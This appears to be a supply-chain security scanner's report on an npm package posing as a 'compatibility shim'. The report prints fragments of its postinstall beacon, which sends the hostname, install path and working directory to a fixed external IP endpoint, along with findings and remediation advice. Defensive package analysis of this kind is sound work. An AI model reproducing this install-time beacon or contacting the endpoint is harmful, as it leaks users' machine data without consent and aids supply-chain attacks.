@ecg-internal/media-util-js-lib@99.0.1
Compatibility shim.
AI Security Review
scanned 4h ago · by lpm-firewall-aiThe package automatically sends host-identifying metadata to a fixed external collector during installation, with no affirmative consent guard in the inspected source. This is concrete install-time disclosure, so the package should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
npm postinstall or importing index.js
Impact
Discloses host and installation identifiers to the fixed external endpoint without an affirmative consent guard.
Mechanism
The beacon builds a payload containing the hostname, install path, working directory, and runtime version, then sends it in an HTTP POST.
Attack narrative
During installation, the postinstall hook runs the beacon, which sends the machine hostname and package installation location to a fixed external HTTP endpoint. Importing the package entrypoint also triggers the same disclosure.
AI rationale
The package automatically sends host-identifying metadata to a fixed external collector during installation, with no affirmative consent guard in the inspected source. This is concrete install-time disclosure, so the package should be blocked.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs the beacon with a postinstall hook.
- beacon.cjs sends to a fixed external HTTP endpoint.
- beacon.cjs constructs a POST request to that endpoint and writes the request body.
- The beacon payload includes the machine hostname, install path, and working directory.
- The beacon writes the payload and ends the request.
- Importing index.js also calls the beacon.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "
High
Suspicious Lifecycle Evidence
package.json runs the beacon with a postinstall hook.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@ecg-internal/media-util-js-lib";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
9 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @ecg-internal/media-util-js-lib@99.0.1.
See all versions of @ecg-internal/media-util-js-lib for other recorded verdicts.
- Avoid installing @ecg-internal/media-util-js-lib@99.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.